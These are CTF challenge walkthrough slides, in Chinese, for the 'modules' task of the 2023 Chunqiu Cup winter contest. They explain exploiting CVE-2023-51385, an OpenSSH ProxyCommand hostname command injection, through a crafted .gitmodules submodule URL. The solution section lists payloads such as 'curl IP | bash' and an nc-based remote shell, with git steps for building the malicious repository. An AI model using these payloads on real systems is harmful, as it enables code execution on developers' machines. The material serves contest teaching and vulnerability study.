永信至诚
股票代码：688244

2023年春秋杯冬季赛

modules题目讲解

pcat@GAMELAB

时间：2024年01月

modules

Git仓库部署

爱学习的小楠楠在复现某个CVE，搭建了本场景，还设置了~/.ssh/config。你能获取到本场景下的flag吗?
（注：Git仓库不要使用Github的）

git clone -v 请输入Git仓库地址 --recurse-submodules

一键部署

制作想法

平时有一些CVE漏洞，在实际环境中并不多见，但其漏洞实在很有趣。于是想在春秋杯网络安全联赛中，构建相关的题目场景，让选手们来尝试复现。

本次所复现的是2023年12月中旬的一个OpenSSH ProxyCommand配置项未进行正确的过滤所引起的命令注入漏洞。

已知内容

~/.ssh/config

```
host *.ichunqiu.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
```

部署方式：

```
--recurse-submodules
# 在克隆Git仓库的时候，同时初始化并更新仓库中的所有子模块
```

CVE-2023-51385

Let's review an example

Taking an example based on the docs

```
Host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
```

In this case, there is no sanitization of hostname and if `%h` contains a malicious hostname, it may allow command execution.

Can I haz PoC?

What good is all this without a PoC? So here we go! Once you have added the above example to your `.ssh/config`, try following which should pop a calculator on OS X.

```
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules
```

Even if the ProxyCommand is being used with single quotes to sanitize arguments i.e. '%h', it is not sufficient since an attacker controlled hostname might itself contain a single quote and defeat quoting.

PoC 2:

```
git clone https://github.com/vin01/poc-proxycommand-vulnerable-v2 --recurse-submodules
```

OpenSSH的配置项ProxyCommand里允许执行shell命令。而%h参数将引用主机名，如果恶意的主机名里包含反引号`或者$()，将可以在shell中执行命令。

解题过程

.gitmodules

```
ssh://`命令语句`foo.ichunqiu.com/bar
```

参考命令语句：

- curl IP | bash
- nc IP PORT1 |bash|nc IP PORT2
- bash exp.sh

命令中出现/会解析错误，可以把命令写入exp.sh再执行

- cat /flag > /var/www/html/flag

修改别人的项目

```
git clone https://github.com/vin01/poc-proxycommand-vulnerable
cd poc-proxycommand-vulnerable && vi .gitmodules
# 修改url里的命令语句
git add .
git commit -m "gamelab"
```

从头弄一个项目

```
mkdir gamelab && cd gamelab
git init .
# 没法直接添加不存在的地址
git submodule add https://github.com/chunqiugame/test cve
vi .gitmodules
# 修改url里的命令语句
git add .
git commit -m "gamelab"
```

一个本地调试的小技巧

git clone的地址支持本地地址，所以可以在本地先尽情测试后，等没问题后再找一个git仓库push上去。

THANK YOU!